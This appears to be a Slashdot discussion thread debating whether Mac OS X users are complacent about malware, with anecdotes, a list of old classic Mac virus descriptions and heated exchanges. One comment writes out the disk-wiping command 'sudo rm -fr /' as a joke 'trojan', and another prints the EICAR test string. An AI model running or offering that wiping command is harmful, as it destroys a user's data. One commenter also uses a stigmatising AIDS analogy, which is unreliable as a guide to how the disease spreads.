Now, "too smug" about security, I'm not so sure. It definitely depends on who you talk to (and you obviously haven't been talking to any Mac users I've tutored on the subject; they know security is ongoing and requires vigilance on any platform).

Apple themselves are, and always have been, very reluctant to suggest Macs are immune to malware, and even with Windows nearing 100K in virus/worm/trojan instances, they are remarkably silent about what many feel is a significant competitive advantage. OS9 was (and still is) a much more secure OS than OSX; it may well be amongst the most secure ever widely deployed by anyone. Yet, that would be news to a majority of users on any platform, including OS9 users themselves.

Are men "too smug" about Breast Cancer? Certainly they don't "worry" about it, but they too can be victims (not sure about the actual instances, but perhaps 1-10 ratio would be in the ballpark. You could look it up if it's important to you). Yet, it's not on top of their radar, and I don't think you should be insisting that's somehow wrong. There are other things to worry about, plain and simple.

How many copies of Mac AntiVirus software gets sold? By the parent post, it should be none, since the smug would obviously prefer to spend their money on further whitening of their annoyingly bright smiles. Yet, it's widely deployed on home computers (not just corporate boxes) running OSX. I don't know about you, but putting out $50 for what the smug would find to be useless software doesn't jive with the assertion. I also find it hard to believe that Windows users would voluntarily deploy any software at all that cost them money to protect Linux, UNIX or Mac users were the shoe on the other foot.

I wonder if all this smugness is related to former Windows users or to people actually comparing the two platforms while shopping and who chose a different path than they otherwise would have a few years ago? If Linux boxes were available to average consumers (a real problem, still not addressed) would Linux geeks be outnumbered by clueless Linux Lusers, smug about security?

Macs, OSS, security and stuff

[DingerX]

Back in the good ol' days, the Macintosh had notorious security problems. Its habit of "opening" every floppy you stuck in the drive gave it a built-in vector for transmission. Later, with the disastrous port of Word 6.0 to the Macintosh, the Mac was ideal for Macro viruses (.dots masquerading as .docs): they spread just like on the PCs, except that many Mac users were trained (as, alas Windows users are now) not to recognize the distinction between data files and executables, let alone the distinctions among data file types. In addition, the excellent AppleTalk network software made it so easy to share hard drive contents that, once a Word macro got on one Macintosh, it spread to all the others. Heck, back in the day, I remember when network-connected Macintoshes were dubbed "Hackintoshes" and were the vector of choice for, uh, "penetration testing."

You'll recognize that these security weaknesses often come about by the fact that Macintoshes have historically been ahead of PCs in implementation of new technologies and interfaces. Just because a machine blocks many of the common vectors of today doesn't mean it's immune from the unknown. Being on the leading edge has its price. You can't claim to have a supercomputer in a plastic box and have no problems with viruses.

Besides, with the latest generation of security problems, criminal intent has replaced simple malice. What better target for a group of identity thieves than the demographic of Mac users? Come on, if anything is gonna save Mac's market share it's that people are willing to pay a premium for style and simplicity. Mac showed the way for widescale adoption of the PC has a home appliance by playing to the average user's ignorance of how a computer works; Windows has made great strides in this direction, but Apple still has the rep. What better target for your phishing/identity theft/ddos racket than someone who has disposable income, does not know much about computers, and thinks they're immune from such attacks?

As for Linux and Open Source, I'm a big fan of the F/OSS movement, but there seem to be a few misconceptions that get bandied around as fact. For example, when people think F/OSS, they think of code-obsessed geeks working for free in their parents' basement. The best F/OSS projects involve people who are employed specifically to work on them. Another myth, however, is this "many eyes make light work" notion of security. Any project needs coherent centralized direction (some forks are better than others). That means it needs a filtration system for the centralized direction to determine what needs to be done, and to assign people to do it. The more inclusive the filtration system, the more centralized resources get used on community handling, and the less on improving the code base. You can argue that the results are fairly good, but the same is true of Microsoft in the last year or so.

The real way to security, as the Mac people will point out, is a secure design coupled with a flexible and rapid support system. Macs may have the most secure design, but support of their platforms in plugging security holes, or even supporting products more than a year old, has not been stellar: anyone remember that Macintosh wireless spoofing vulnerability from a few years back? For that matter, anyone know anybody who still uses OS X 10.1? Linux, just because it's open and the holes are patched quickly, doesn't by that reason have a super-secure design. There are plenty of reasons why you can prefer your OS to Windows, and there's no disputing that historically, Microsoft seems to have made every "bad choice" regarding security in Windows (and Office) imaginable. But just because Microsoft sucks doesn't make your platform safe. Ignorance and pride are a dangerous combination.

For the record, I've had a PC for over 13 years, and the only infection I ever caught was a Word Macro from a Mac -- and that was easily recognized and disposed with.

Proof

[the computer guy nex]

"No, Mac users aren't invulnerable. We're simply more secure overall. And we're proud of that."

This may very well be true, and I will bet it is.

Regardless, how do you prove it? There aren't that many people in the world with a combinatino of the 1)knowledge and 2) 'evilness' to create a virus for millions of computers.

What reason would these few people have to make one for an OS with around 2% market share? Why would they spend the amount of time to find a vulnerability and create a method of transportation?

The fact is Windows is more secure than we all think, and OSX is less. When you are the big dog with 97+% market share on the desktop you have a huge target on your back.

Re:Proof

[Bassman59]

What reason would these few people have to make one for an OS with around 2% market share? Why would they spend the amount of time to find a vulnerability and create a method of transportation?

Seems to me that any cracker who found such a vulnerability would get lots of cred in the black-hat community: "He's the dude that wrote that virus for OS X. And they said it couldn't be done." Or something like that.

Even though the Mac marketshare may be mindshare is much greater.

Maybe Steve Jobs has less enemies than Bill Gates.

Not to mention

[SuperKendall]

Our legendary humbleness. :-)

Mah Store

[weasello]

I was a sales rep at a smallish computer store. I told a customer that Macs aren't immune to everything, which is why Symantec (amongst others) releases security tools. The customer argued with me, saying Symantec was just trying to squeeze another buck out of people because their product does nothing. I briefly tried to explain the other risks, and how they differ from viruses - but he would have none of it. Practically spitting mad, he stormed out of the store. The customer went back to the local Mac Users Group, and the whole town was aflame with my store's "hater" stance and how we were a big bunch of liars. All the other stores would advertise "the truth about macs" and pretty much rubbing salt in our wounds. How did my store deal with the situation? We sent a mac expert out to the M.U.G. to explain how we were mistaken, and I was fired. My store lost a lot of customers, apparantly.

don't be complacent, but still...

[schvenk]

I think I speak for many Mac users in saying that our smugness (which is never really a good thing) is derived from how much easier it is to be a Mac user these days in the face of all the Windows security threats. It's reinforced, too, by a deeper confusion regarding why so many people feel like they *have* to use Windows. I'm secure in recommending Macs as a more secure alternative - not because I believe that Macs are inherently immune to attack, but because today's reality is that they're at much lower risk, and no matter how much I plead with my friends and relatives they're not diligent about security.

And that's the real problem. I take security measures with my Mac. But many people don't want to learn about or take the time to implement security measures. Windows security would be a whole lot better if every Windows user upgraded to XP SP2, turned on Automatic Updates, and installed a firewall. Add anti-spyware, anti-virus, and a non-admin account and things look even better. Mac and Linux users, at the very least, should have firewalls and should be careful about what they download and run. But by and large, people don't want to bother. And given that, a system that (a) gets fewer attacks and (b) comes configured without root privileges seems like a clear winner to me.

The longer-term challenge is how to manufacture computers that are secure enough out of the box to survive without user intervention...because most users won't take the time.

Why don't they write OS X or Linux Viruses?

[Anonymous Coward]

With Mac users so nauseatingly smug, so herd-vulnerable, and with Linux users (that's me) so superior, so ill-advisedly self-confident, why is it that virus writers don't find us an irresistable target to take down?

[irony]
C'mon virus writers and hackers, what's holding you back? We're missing the fun! I'm missing those pop-up adverts every time I move the cursor! Are we too hard to write viruses for? Is it that I've got everything backed up on tape? Is it because I'm behind a separate firewall machine? I'll give you a clue, it's running Smoothwall : isn't that a challenge to respond to?

We need a control experiment - a fair share of OS X and Linux viruses to see what the infection rates are in a level trial against Windows. Perhaps that will put an end to these arguments.
[/irony]

Re:Why don't they write OS X or Linux Viruses?

[Ash-Fox]

> C'mon virus writers and hackers, what's holding you back? We're missing the fun! I'm missing those pop-up adverts every time I move the cursor! Are we too hard to write viruses for? Is it that I've got everything backed up on tape? Is it because I'm behind a separate firewall machine? I'll give you a clue, it's running Smoothwall : isn't that a challenge to respond to?

Probably the hardware is too costly, although with the advent of intel-macs, that might change, as people will probably crack macosX to work on regular x86 hardware and pirate it.

Re:MacOS X itself?

[Fahrvergnuugen]

Right you are. Saying that hackers target windows because of it's market share IS sticking your head in the sand. In my opinion, OSX is a bigger target than windows because writing viruses is about fame. Who's going to be more famous, the guy who writes exploit #72,587 for windows or the guy who writes the FIRST exploit for OSX?

Very true. But it works..... For now......

[ShyGuy91284]

I'd say Mac users are def. too smug about security, and it's only a matter of time till that smugness is taken advantage of. But for now, it works. You see, what I haven't been able to get is why there aren't any significant virus threats for Macs. Just as there are fanatics for Macs, I've seen people _HATE_ Macs and all that use them with a passion second only to their passion for living. How these people haven't created viruses for Macs is beyond me (Harder to spread since Windows would be a brick wasll if it were a worm, but still worth a try, maybe a bi-OS virus?). It can't be that every good virus maker is a Mac fan. I think OS X has a built in Firewall, but for now, I think I'll be fine not using a virus scanner like much of the rest of the Mac community (I feel like I just admitted my kryptonite....).

They Maytag Virus Detection Program

[SuperKendall]

there are numerous anti virus programs out there for the Mac, but what virus are they scanning for? There are no known viruses for OS X, so how can they update the virus definitions if they have nothing to base it on? They've seen a vulnerability here and there, but nothing has been exploited yet.

First of all, I find that a pretty funny problem to have... the lonliest virus scanner on the planet, just waiting for the first definition to apper on an update (pretty much all virus products auto-update).

Beyond that, virus programs can still check for types of attacks (like "hey, this program is trying to access your startup items or an application bundle"). Also there are a few things to look for - Word Macro viruses. Some of these can still function partially on a Mac depending on what they do.

The Biggest Mac Security "Problem"

[catdevnull]

I've seen this problem on our university's campus more than a half dozen times (oh, the horror!).

-User reads something about "SSH" to access his machine.
-User turns on SSH
-User also has no imagination with password--uses common dictionary spellings
-User is cracked into with dictionary attack
-Security team shuts down port or blocks MAC after a bank calls to report attacks
-User calls helpdesk
-Consultant re-installs MacOS X and smacks the user about the head and shoulders because they had no business enabling SSH
-User has admin privileges stripped
-Problem solved--for now.

So, the biggest "problem" is, indeed, user ignorance. But, out of the box, I'd say Macs are in pretty good shape against attacks and malware given the current lack (and history) of Mac spyware, trojans, or viruses (none that I know of).

Macs are not impervious, but they enjoy 2 major benefits:
1) There aren't enough of them for a worm to spread quickly or effectively (which is what I'd want if I were in the black arts).
2) They don't come with giant holes from the complacent company who wrote the OS--why work when you can pick the low-hanging fruit from MS?

With the new Intel chips, executeables might find new life in the Mac...but we'll see.

Re:The Biggest Mac Security "Problem"

[ashooner]

I have to wholeheartedley agree with parent. If there is going to be a virus that is sucessful for mac, my guess it is going to be a sociallly engineered one, because the end result of any smugness on mac users part leads them to not even think twice about giving out their admin pw to any prompt they get. Granted, any one paying attention can check what process is asking for the password, but that is just the thing, the vast majority of mac users (particularly switchers) are on OS X b/c they think thyey don't have to pay attention.


There is no way to patch an idiot at the keyboard.

Re:The Biggest Mac Security "Problem"

[Creepy]

hrm... it sounds like you have some control of their machines if you can strip admin privs - if so, and they're running X.4, I'd recommend setting a pwpolicy that forces strong passwords. I'm not sure what you can do about older OS releases, but there may be something.

You may want to look at some of these security whitepapers I had bookmarked - maybe useful, maybe not.

Our suborned Mac G5 backup computer

[sidles]

The backup computer for our UW Quantum System Engineering Group is a Mac G5. It was suborned and used to attack NASA computers. As a result, the FBI subpoened the entire contents of the computer (Agents came by and cloned the entire disk at the digital level, and yes, we verified their credentials.).

In response to this, our QSE Group decided that we would run a completely open research group. This makes it much simpler for both attackers and friends to learn what we're up to: just go to http://www.mrfm.org/ .

Until you hire a 24-hour security guard, and have no physical connection of your computer to the outside world whatsoever, you are not secure against a determined, professional attack.

More broadly, we tell entering students that if you want to keep a secret, don't tell anyone, don't write it down, and definitely don't store it on a computer. As the FBI agent told us: that's the only security plan that's guaranteed to work and affordable by anyone.

Smug, yes, but ...

[david.emery]

Yup, I'm sitting fat, dumb and happy about the absence of ANY recorded infections of Mac OS X systems.

But what's significant here is to understand the vulnerabilities of Mac OS X. What's pretty clear is that the vulnernabilities that permeate Microsoft products aren't in Mac OS X.

Part of the reason I'm not rushing out to buy Mac antivirus software is that I'm not convinced it's worth the money. I'd assert it's guarding against sources of infections that so far haven't proven out. When there is an actual Mac OS X virus/worm/malware/etc, we'll be able to understand that real, no-sh*t vulnerability and I'll be happy to buy a product that is proven effective against it.

So to those who want me to buy Mac OS anti-virus products, I'd argue two things, which are the classic requriements that the FDA places on medicines:
        1. Safe - Many of the Mac OS X products have proven to be much more harmful to overall system reliability, and I don't need some anti-virus software protecting me against malware/virus behavior, by causing the same symptoms of system instability.
        2. Effective - Against some clearly validated threat, not hypothetical risks based on vulnerabilities of other platforms.

In some respects, it's like taking medicine against TB, -after- youv'e been vaccinated against TB. Your chances of catching TB are nil without the medicine, and that medicine won't protect you against some other kind of disease, so why bother with the medicine?

        dave

Re:Smug, yes, but ...

[Bassman59]

"Part of the reason I'm not rushing out to buy Mac antivirus software is that I'm not convinced it's worth the money. I'd assert it's guarding against sources of infections that so far haven't proven out. When there is an actual Mac OS X virus/worm/malware/etc, we'll be able to understand that real, no-sh*t vulnerability and I'll be happy to buy a product that is proven effective against it."

Some time last year, Macworld magazine ran a big Security issue. One article pointed out something we all know: "there are no known Mac viruses."

Yet the magazine still gave four (out of five) "mice" to two $70 antivirus programs.

So I wrote a letter to the editor, saying basically, "So, you tell us that there are no Mac viruses, yet you give antivirus software glowing reviews. What do I really get for my $70 if I buy one of these programs?" The editor wrote back asking me to approve an edited version of my letter, which did NOT include my question (which was the point of my letter). I wrote back and told them--run the question or don't run the letter. So it ran as I required, but the question was never answered.

-a

The big reason is...

[LWATCDR]

On Linux and a guess the Mac you don't have to run as root all the time. I know that can run a windows box without admin rights but it is a real pain. So far on Windows I have yet to find anything like su or sudo. On a Linux box if I have to have root it is so simple to do an su do what I need to do and then exit.
On windows I have to log off and then log in with admin rights. Not running as an admin makes your system less vulnerable.
That being said I have never had my Windows machines get infected with a virus or worm. I do run them behind Linux firewalls, I don't use Outlook, I do use Firefox, and I don't open strange attachments.

Re:The big reason is...

[Mancat]

"So far on Windows I have yet to find anything like su or sudo."

Hi. You can run most programs, shortcuts, control pannel applets, and the like, by holding down the shift key, right-clicking on the item, and clicking "Run As." There is also a "runas" CLI-mode tool for use in automating shortcuts to run with alternate user credentials.

These tools allow you to start programs as another user without logging out.

Myth: Safety in small numbers

[HaydnH]

The fact that OS X/*nix is more secure than Windows due to it's smaller user base is just a myth!

Look at web servers for example, the number of Apache boxes out there far outweighs the number of IIS servers, yet there are plenty of IIS virus' where as there has been 1(?) Apache virus (which was a vulnerability in a module - not actually apache). If it was simply a case of going for the largest user base why aren't there more Apache virus' than IIS virus'?

Haydn.

Re:MacOS X itself?

[TheNetAvenger]

Because most weren't critical vulnerabilities and there are no exploits. Show me an exploit for a Mac OS X vulnerability. Now, show me one in the wild. Can't? The only thing you have to do to wipe the smug look of a Mac users face is to release an exploit in to the wild.

I actually don't have to do anything that hasn't already been done...

Here is my 2 minute search for a response to your questions specifically.

Proof of concept exploit:
http://news.zdnet.com/2100-3513_22-5189335.html?ta g=zdfd.newsfeed

Exploit, infections from not known:
http://news.zdnet.co.uk/internet/security/0,390203 75,39155837,00.htm

In Wild exploit, known infections:
http://www.macintouch.com/opener.html

I don't have time to do more research to help your denial, but I would suggest you actually do a bit of research yourself and see that OSX is no more perfect than any other OS. PERIOD.

Mac Virius

[adrianjmartin]

Do hackers have Macs and Software to run on them. Mabie not enough yet. But what about when Intel Macs ship........

Re:Mac Virius

[Bassman59]

"Do hackers have Macs and Software to run on them. Mabie not enough yet. But what about when Intel Macs ship........"

You're an idiot. What, a windows virus will damage an Intel-based OS X install? Jeez. Get a clue.

Re:Mac Virius

[Ash-Fox]

Universal virus!

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIR US-TEST-FILE!$H+H*

Well, not really.

Why there is herd immunity

[SuperKendall]

Apple has quite a few things going for it in regards to security, which is why we've seen no wild viruses yet:

1) Real user accounts with limited system permissions. Makes it harder for viruses to really worm into the system.

2) No services open by default so there's really no good vector for automatic intrusion - whatever service you pick is going to have a low payback.

But really a very important, and often overlooked feature is (3) - a system updater that people do not disable, because it's not very intrusive.

That is what gives Macs a tremendous immunity advantage as a group, because if any attack vectors are found (either through Safari or services or what have you) Apple can have 90% of the Macs on the planet patched within a week (being really conservative there and assuming that 10% of macs either would have update disabled or otherwise are unable to update for some time for some reason). So even a serious spyware problem that entered through Safari (my bet for the first sucessful attack we would see) would be patched before many people would get hit.

In theory Windows Update could do the same for Windows - but in reality a lot of people disable it as it keeps breaking things or is just plain in the way.

So the reason that Macs have no viruses yet is not because the marketshare is too small (point me to any spammer that would just toss aside a few million zomies if they could use 'em), but because like the borg shield any vulnerabilities are constantly shifting and thus not explotable for long enough to make the attempt worthwhile.

Re:Why there is herd immunity

[kevinadi]

There are many points why windows is hit more by worms et al.

Regarding your point #1, have you ever tried to run XP as a non-privileged account? It's a total nightmarish bullshit. You can't run anything simply because windows programmers are so used to require admin privs that very little program can actually run. In contrast, OSX which is based on UNIX inherits UNIX's assumption that the user never have to run as root. So giving the credit wholly to Apple for this is not quite fair. This in turn has caused people to write faulty programs that's not secure thus adding on the insecurity.

You can reasonably harden an XP installation, but by default it's wide open. Only after SP2 does it turns on firewall by default.

I think most of the OSX's resistance to viruses are due to its underlying UNIX OS. On the contrary, Bill chose to keep windows easy to use and therefore vulnerable. Firewall is turned off by default because before SP2 it was not so easy to configure, and turning it on would leave most people's home network go dead. The problem lies in windows' fondness of the "advanced" tabs that most of the time contains basic feature that I don't really consider advanced at all, but most people do. Try connecting to a wireless LAN using WPA with a PKI. Can't do it unless you go through at least 3-4 layers of "advanced" settings.

One great merit of UNIXes (and I guess, in turn OSX) is the lack of need to reboot. I lost count how many times I'm in the middle of something and windows update keep insisting on rebooting my computer in 15 seconds. As I recall this rarely happen in NT4 days, so Bill's decision to make NT more 95ish backfired where he should make 95 more NTish and educate the masses in the process. As it turns out, now it's simply too expensive to do this and he's left with collecting all the garbage he accumulated throughout the years.

In reality, Macs are not that immune against attacks. People just haven't really tried to look for holes in it when there's an OS with 90% market share that's so full of holes from the default install. And I think it's Bill's choice to retain user friendliness and churn patches out rather than having to re-educate millions of people to behave responsibly.

Executive summary of both sides of argument

[Sockatume]

Bill Thompson: Mac users really shouldn't get complacent, and should use decent security measures.

Slashdot: Kind of hard to install security measures for problems which don't exist, Bill.

Each 2-3 months history repeats itself

[NeedleSurfer]

These post are common, I've been reading them on Slashdot, Ars Technica, my newspaper and tech sites around the internet. They usually are initiated by virus vendors trying to be profesisonnal (not sell their product noooo...) and warn us of the potential dangers.

I'm actually pretty sure there are more articles about the fact that MacOSX can be prone to malware than there is malware on the Mac. As a mather of fact, no malware on the Mac yet (MacOSX, classic MacOS had a few prior to os8).

None
Zero
Zilch

There was this "proof of concept" once... you had to download a mp3, which in fact was an executable archive, you had to double-click it in the finder, which almost no one does (drag and drop on app in dock usually), then it would execute (which no mp3 does, you have to be a moron not to be suspicious at that point) and then your MacOS was asking for permission to run the process (cause it was targetting a system component), then at this point, you have to be VERY stupid to write your password in the window and click yes. That was what is considered "proof of concept" on the mac...

Re:Each 2-3 months history repeats itself

[toddestan]

You must of missed the part about Mac users being "too smug". There seem to be a lot of Mac users, that seems to including yourself, that think that OSX is magically immune from viruses, worms, and other malware. The proof is, of course, that there is no known malware for OSX.

Of course, anyone with any sense realizes that spyware and viruses is certainly possible on the Mac. Especially considering that the most common way for malware to get on a Windows machine nowadays is tricking the user into running or installing something. OSX may be able to better protect the user against worms, but it can't protect the user against their own stupidity.

Fact is, if malware starts cropping up for the OSX, there is going to be a lot of owned Macs. Especially with "too smug" users thinking they can do whatever they want because they are somehow magically immune.

Re:Each 2-3 months history repeats itself

[NeedleSurfer]

blah blah blah blah blah, bring the proof, stop talking about it and bring the proof, show us the malware, show it, common, I'm smug cause I can be, cause THERE IS NO MALWARE to date, despite all the invitation to malware, despite all the dimwit like you who wishfull think that there should be. Common Open Source crowd, show us what you are made of, write us some good malware, stop talking and start acting, bring it on, there is 5 mac bashers per mac user adn NONE of them can write a malware to shut us up? NONE? Common dirty beard, show us the evil, write us a freakin malware and "release it in the wild"!

Common, what the fuck are you waiting for?
It's been freakin years you talk about it, we WANT proof, make us buy and AV product, make us download and open source AV product.

Common, stop talking
start acting

or shut the fuck up

Re:Each 2-3 months history repeats itself

[toddestan]

Yes we all know that OSX is more secure, better designed, blah blah blah. But anyone with any common sense (or in other words, not a retarded Mac fanboy like yourself) knows that if you can get the user to run a program on ANY system, all bets are off. And the typical Mac user is dumb enough to do just that, just like the typical Windows user. I don't need to see actual malware to know that, because I'm smarter than that.

And you wonder why there are so many Mac bashers. Let me give you a hint: It's not the hardware. It's not the software. It's not even the company. It's annoying Mac fanboys like yourself that ultimately piss people off.

So shut the hell up until you know what you're talking about.

Re:Each 2-3 months history repeats itself

[NeedleSurfer]

Common moron boy, if you can't get a provocation for what it is you are way more an idiot than you think you are.

I tried to illustrate a fact, a fact you've bitten on, despite all the provocation all you guys do is TALK. We can insult people, provoke them we still have to see malware on the mac. No amount of rethoric on your part will change that. Probly if a dedicated mind would set itself to the task a malware could appear, until it does, until you write that malware shut the fuck up. BTW, ALL those post have been written on a PC.

fanboy, lol, i'm not, I just can see facts and reality for what it is. This site oozes morons who marvel in front of a system that could be, problems that could arise, what ifs and maybes.

Until you write malware for the mac, until you can answer to provocations like the one above with something else than words and analisys, shut the fuck up.

PROVE us its feeble and I'll consider posting something intelligent about your suppositions.

Until then, you bit. Thanks for proving my point.

Re:MacOS X itself?

[ummit]

Windows... truly is targeted a bit more...

A bit more? What are you smoking?

Re:Of course...

[LanMan04]

Mod me down. I've got karma to burn.

Talk about being smug....

Name ONE

[NtroP]

Name one.

C'mon. You just spent a lot of time telling us that there are a lot of viruses out there for OS X and that we should just research it. Well, I'm sure you've researched it, so enlighten us, please. Name one.

Oh, I know about the "opener" trojan. A shell script that never went anywhere. BTW here is a much more destructive "Mac OS X trojan" called "runme.sh" that also affects Linux and Unix! Oh my. Here it is, read with caution:

sudo rm -fr /

The only viruses I've seen on macs are word macro viruses - namely Claude.A

So, oh wise one, educate me and the rest of use please. I am aware that there are security weaknesses which could be expoited. But so far, none have. I agree, that we have to be vigilant, but for now, you are just talking out of your ass.

Re:Name ONE

[TheNetAvenger]

I give in, you caught me in my evil plan to scare people for no reason what so ever...

I now will admit this out loud - "Macs and specifically OSX are perfect, virus free and always will be."

So all you OSX users, don't worry your pretty little heads, you will NEVER ever get a virus, or ever lose data.

Just open anything you want, give any program password access when it asks, and never even bother with Apple's security updates, they are not needed since they are just busy work to keep their developers happy, since they love the art of coding for a perfect Operating System and a perfect company.

You have found computing and OS Utopia... *Queue Harp Music*

Re:Name ONE

[hobbit]

I give in, you caught me in my evil plan to scare people for no reason what so ever...

I submit that your motivation is to engage people in pointless debate. This is widely known as "trolling".

Re:Name ONE

[jred]

How about Claude.A?

I mean, really, *YOU* named *one* mac virus in *your* post.

What you really want is for him to name *another*...

(I'll state for the record that I'm completely ignorant of mac viruses, and I'm assuming from your post that claude.a is in the wild, since you claim to have seen it)

Re:Name ONE

[iotaborg]

One has to wonder if Claude.A even counts as a Mac virus. It's targeted at a particular application, Word, which is made by *gasp* Microsoft! The same company that makes Windows!

It should be noted that there are numerous Mac viruses for Classic (though not nearly as many as there are for Windows), and are rather rare (I remember being infected by Sevendust at one point many years ago).

Re:Name ONE

[calambrac]

Wait a second. You made a post claiming that 0 virus was a myth that could be exposed by doing some basic research, and someone replies asking you to name just one...

To which you reply with some sarcastic diatribe making it look like the reply was completely unreasonable and vindictive towards you. WALB...

Anyways, so can you or can't you name one virus for Mac?

Re:Name ONE

[99BottlesOfBeerInMyF]

How about Claude.A? I mean, really, *YOU* named *one* mac virus in *your* post.

Do you count that as a Mac virus? First it does not work on a default install. Second, the payload does nothing on MacOS, thus it is not exactly "for" OS X. Third, it is entirely possible to infect my mac with all sorts of viruses. I just open up my Windows virtual machine to the internet an voila! I still don't count them as MacOS X viruses.

Re:Name ONE

[yomahz]

AIDS - infects application and system files. No intentional damage.
(nVIR B strain)

Aladin - close relative of Frankie

Anti (Anti-A/Anti-Ange, Anti-B, Anti Variant) - can't spread under
system 7.x, or System 6 under MultiFinder. Can damage applications
so that they can't be 100% repaired.

CDEF - infects desktop files. No intentional damage, and doesn't
spread under system 7.x.

CLAP: nVIR variant that spoofs Disinfectant to avoid detection
(Disinfectant 3.6 recognizes it).

Code 1: file infector. Renames the hard drive to "Trent Saburo".
Accidental system crashes possible.

Code 252: infects application and system files. Triggers when run
between June 6th and December 31st. Runs a gotcha message ("You
have a virus. Ha Ha Ha Ha Ha Ha Ha Now erasing all disks...
[etc.]"), then self-deletes. Despite the message, no intentional
damage is done, though shutting down the Mac instead of clicking to
continue could cause damage. Can crash System 7 or damage files,
but doesn't spread beyond the System file. Doesn't spread under
System 6 with MultiFinder beyond System and MultiFinder. Can cause
various forms of accidental damage.

Code 9811: hides applications, replacing them with garbage files
named "something like 'FIDVCXWGJKJWLOI'." According to Ken Dunham
who reported this virus in November, "The most obvious symptom of
the virus is a desktop that looks like electronic worms and a
message that reads 'You have been hacked by the Pretorians.'"

Code 32767: once a month tries to delete documents. This virus is
not known to be in circulation.

Flag: unrelated to WDEF A and B, but was given the name WDEF-C in
some anti-virus software. Not intentionally damaging but when
spreading it overwrites any existing 'WDEF' resource of ID '0', an
action which might damage some files. This virus is not known to be
in circulation.

Frankie: only affects the Aladdin emulator on the Atari or Amiga.
Doesn't infect or trigger on real Macs or the Spectre emulator.
Infects application files and the Finder. Draws a bomb icon and
displays 'Frankie says: No more piracy!"

Fuck: infects application and System files. No intentional damage.
(nVIR B strain)

Init 17: infects System file and applications. Displays message
"From the depths of Cyberspace" the first time it triggers.
Accidental damage, especially on 68K machines.

Init 29 (Init 29 A, B): Spreads rapidly. Infects system files,
applications, and document files (document files can't infect other
files, though). May display a message if a locked floppy is
accessed on an infected system 'The disk "xxxxx" needs minor
repairs. Do you want to repair it?'. No intentional damage, but can
cause several problems - Multiple infections, memory errors, system
crashes, printing problems, MultiFinder problems, startup document
incompatibilities.

Init 1984: Infects system extensions (INITs). Works under Systems 6
and 7. Triggers on Friday 13th. Damages files by renaming them,
changing file TYPE and file CREATOR, creation and modification
dates, and sometimes by deleting them.

Init-9403 (SysX):

Re:Name ONE

[khallow]

Do any of these work under OS X? I see a lot of System 6 and 7 fellows in here.

Re:Name ONE

[TheNetAvenger]

To which you reply with some sarcastic diatribe making it look like the reply was completely unreasonable and vindictive towards you. WALB...

No I actually provided examples several other times in the post, but like you, the above poster never took time to read them.

Bascially, it was a waste of time because the poster didn't bother to read any other posts, just as you have done.

Re:Name ONE

[NtroP]

We were talking about OS X, not System 7.

Re:Name ONE

[NtroP]

Claude.A is a Microsoft Word macro virus. How does that make it a Mac virus? I've got several WMF exploits that are sitting on my Mac at home as well as some trojans that one of my Windows Buddies email me by accident (I do have a virus checker on my Mac, BTW)... Does that make them Mac viruses now, just because they are on my Mac and I might send them to a PC where they could spread?

Re:Name ONE

[Anonymous Coward]

What example? Here is what you wrote before someone demanded a proof:

This is simply NOT TRUE! From Trojans and Worms that affect OSX directly with even remote exploits, to bundle application exploits (iTunes, Safari, etc) to mainstream applications that run on OSX like Word and Macro Viruses.

Many DO exist for OSX, but when dealing in small numbers there is no rampant infection that takes place. (Even with Windows a mass infection hasn't happened in a long time either, and there are 100s of millions more Windows PCs hooked up to the Internet.)

See, I have not seen a name of a virus/worm/Trojans. You only said that they exist that affect OS X directly or via bundled/mainstream apps. After someone demanded a proof while stating that weakesses existed, but there were no example of viruses/worms in the wild, you promptly replied with sarcasm:

I now will admit this out loud - "Macs and specifically OSX are perfect, virus free and always will be."

This is a typical losing argument. You put the words into your opponent's mouth, then shot it down using sarcasm without a proof and promptly pretended that you have provided examples in your argument when someone disagreed to your debate form, only that your opponent didn't bother reading your posts.

No I actually provided examples several other times in the post, but like you, the above poster never took time to read them.

Bascially, it was a waste of time because the poster didn't bother to read any other posts, just as you have done.

You wasted more time typing up your complaints than if you just copied and pasted (CTRL-C, CTRL-V, 5 seconds?) your examples you claimed to have been posted. Face it, you have an irrational hatred toward Mac OS X and its users. It's alright to dislike something, but it's unacceptable to go out of your way to spread false arguments.

Re:Name ONE

[JoshNorton]

Oh, GEEZE. Now I feel older than ever.

(And he forgot the MacMag "Peace!" virus!)

Re:Name ONE

[TheNetAvenger]

You wasted more time typing up your complaints than if you just copied and pasted (CTRL-C, CTRL-V, 5 seconds?) your examples you claimed to have been posted. Face it, you have an irrational hatred toward Mac OS X and its users. It's alright to dislike something, but it's unacceptable to go out of your way to spread false arguments.

Actually, I'm trying to give some insight to the truth that for some reason is easily overlooked, even in the face of fact.

I posted a couple of examples of both exploits and exploits that were used on OSX. These are fact. Another poster even went as far to list a massive list of exploits and real viruses and thrests that affected both SystemX and OSX on the Mac, even though you will still hear people say that NO Viruses existed for SystemX software and none exist for OSX.

So I gave up... If you want to stick your head in the sand, believe all the marketing hype that is not only misleading but dangerous, go right ahead, I don't have time to convert 'we will love OSX and it is perfect zealots'.

BTW, I use OSX daily, so don't call me a basher, I'm just a bit more realistic than the OSX is perfect crowd.

Re:Name ONE

[TheNetAvenger]

I submit that your motivation is to engage people in pointless debate. This is widely known as "trolling".

Actually trolling is defined as A) Providing false or unsubstantiated information as fact; or B) Being rude or trying to upset other individuals.

Go look it up...

Re:Name ONE

[hobbit]

Trolling "is defined" in various different ways. You also fall under your definition A, so either way you're trolling. Your definition B is "actually" flamebaiting.

Re:MacOS X itself?

[TheNetAvenger]

A bit more? What are you smoking?

Apparently not the good stuff... *smile*

Look at it this way

[Hao Wu]

If I am always healthy, and you are always sick - then why argue that I am not immune?

Perhaps I am resistant, or not prone to the behavior that made you sick.

This is like people who claim that everyone gets AIDS, not just gay men and IV drug users...

Re:Look at it this way

[Anonymous Coward]

That's the dumest fucking analogy I've ever read... AIDS is a pandemic... There are TONS of people in Africa who have aids who are not gay and are not IV drug users, not to mention the numerous cases that appeared in the US in the early 80s before blood donations were screened.

More to the point, just because you aren't sick *yet* doesn't mean that you don't have the potential to be sick in the future. Prevention is the best form of medicine; So rather than sitting around waiting for a virus to hit you, being proactive makes sure that a virus never DOES hit you.

It's not a question of if, but when.

Always I am hearing this.

[Anonymous Coward]

OK, let's say that you have a virus. Now, it is visible in your data so you restore them from backup. If it is also possible that the programs you use (that you say is not as valuable as the OS) could be infected, well your data files could get re-infected. So you re-install your data from backup. And it gets re-infected....

See where this is going yet?

